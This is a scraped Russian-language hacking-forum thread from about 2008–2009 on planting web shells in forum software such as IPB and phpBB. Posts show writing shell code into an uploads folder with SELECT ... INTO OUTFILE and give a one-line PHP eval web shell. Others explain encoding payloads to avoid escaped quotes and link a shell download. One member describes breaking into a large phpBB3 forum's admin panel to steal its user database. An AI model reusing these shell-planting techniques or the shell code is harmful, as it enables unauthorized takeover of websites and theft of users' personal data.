ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Заливка шелла в Форуме]
  #1  
Старый 21.04.2008, 22:36
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию [Заливка шелла в Форуме]

Заливка шелла в Форуме

Решил собрать все вместе, да бы уменьшить бояновые темы в разделе. Все вопросы, касающиеся заливки шелла в Форуме, задаем сюда. Приветствуется помощь в наполнении темы актуальным материалом.

He11.net Forums 1
Ikonboard 1,2
IPB 1,2
Pehota Forum 1
PHPbb 1,2,3,4
SMDS Forum 1
SMF 1
SowiBB 1
vBulletin 1,2
VumFOrum 1
WR 1
© ZAMUT
----------------------------------------------------------------------
Имею полную админку в IPB 1.3, шел через смайлы не катит - ибо там стоят права на запись.. единственная папка с 777 - это uploads, так вот.. моя цель - это залить шелл в эту папку.. действия таковы.
Создаю базу..
Заливаю код
Код:
INSERT INTO `shell` bla bla..
и выдираю его в файл
Код:
SELECT ("код шела") INTO OUTFILE '/var/www/forum/uploads/counter.php';
Загвозка, в том.. что в код вставляются слешы.. из-за них не работает шел.. я уже даж делал c LINE терминатеж бай.. вообщем, не знаю, как избавится от слешей в коде. Ввиду сегодняшнего гуглежа узнал, что они находятся на уровне php.ini. Прошу помощи в составлении запроса.


added@ на запросы внимания не обращайте.. писал машинально.

Последний раз редактировалось jokester; 20.04.2009 в 10:50..
 
Ответить с цитированием

phpBB3 шелл?
  #2  
Старый 05.01.2009, 01:09
Аватар для dr.Pilulkin
dr.Pilulkin
Познающий
Регистрация: 03.06.2007
Сообщений: 44
Провел на форуме:
418827

Репутация: 48
По умолчанию phpBB3 шелл?

Залез в админку буржуйского форума phpBB3 около миллиона юзеров. Хотел слить базу. Вроде все в порядке но в админке ставлю сжатие gz неканает качает несжатым. И еще трабла качает примерно 70 мегов и обрубает скачку а это примерно 130к ползователей. Причем обрубает с точностью до байта 3 раза пытался. Дамп на сервере не сохраняет видимо прав на папку нет. Есть ли возможность в последней версии phpBB3 залить шелл? Востановление базы я так понял работает только из файлов на сервере. Загрузка аватаров есть.

Сорри незаметил тему перенесите плиз.

Последний раз редактировалось dr.Pilulkin; 05.01.2009 в 01:14..
 
Ответить с цитированием

  #3  
Старый 13.01.2009, 05:12
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Код шелла можно и без кавычек делать - например простенький -
<?php eval($_GET[5]); ?>
 
Ответить с цитированием

  #4  
Старый 13.01.2009, 05:27
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

можно без кавычек как сказали выше можно через функцию char(), можно в HEX-формате
 
Ответить с цитированием

  #5  
Старый 15.01.2009, 03:04
Аватар для emel9
emel9
Новичок
Регистрация: 21.01.2008
Сообщений: 4
Провел на форуме:
22394

Репутация: 0
По умолчанию

может кто нибудь поподробнее объяснит как залить шелл в phpbb 3.0.3
 
Ответить с цитированием

IPB 1.3 Final. Надо залить шелл. Как?
  #6  
Старый 15.01.2009, 18:46
Аватар для saransko_o
saransko_o
Новичок
Регистрация: 01.01.2009
Сообщений: 14
Провел на форуме:
41607

Репутация: 2
Question IPB 1.3 Final. Надо залить шелл. Как?

Имеется
Русский Модифицированный IPB v1.3 Final © 2003 BesTFileZ.Net & IBR Team
Аккуант гл.админа. Как залить шелл?
 
Ответить с цитированием

  #7  
Старый 15.01.2009, 18:47
Аватар для iddqd
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию

учимся искать: https://forum.antichat.ru/thread76949.html
 
Ответить с цитированием

  #8  
Старый 15.01.2009, 18:53
Аватар для saransko_o
saransko_o
Новичок
Регистрация: 01.01.2009
Сообщений: 14
Провел на форуме:
41607

Репутация: 2
По умолчанию

не заливается через смайлы пробывал уже...и через аватары пробывал.и через бд нельзя так как нет у юзера mysql прав на запись файлов.
 
Ответить с цитированием

  #9  
Старый 17.01.2009, 17:48
Аватар для Perekur
Perekur
Познающий
Регистрация: 15.03.2006
Сообщений: 40
Провел на форуме:
364648

Репутация: 15
По умолчанию

Подскажите пожалуйста где раздобыть актуальный шел? Искал шел от rst, но на все что я находил - ругается антивирь.
 
Ответить с цитированием

  #10  
Старый 17.01.2009, 18:04
Аватар для Fuckel
Fuckel
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
Провел на форуме:
1608606

Репутация: 105
Отправить сообщение для Fuckel с помощью ICQ
По умолчанию

шел от madnet
http://madnet.name/files/1/10.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с заливкой шелла в Invision Power Board v2.1.7 DeadMeat Форумы 9 24.02.2010 11:48
[ Заливка шелла в Cms|Blogs ] ZAMUT Сценарии/CMF/СMS 3 12.07.2008 19:03
Способы заливки шелла в Ipb 1.3 - не стандартнные. zl0ba Форумы 1 13.11.2006 12:36
Помогите использовать багу сайта в качестве заливки шелла на сайт... PhoenixLion PHP, PERL, MySQL, JavaScript 0 23.05.2006 12:45
UBB Threads 6.5.1 (Инструкция по заливке шелла) pch Форумы 0 30.04.2006 20:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ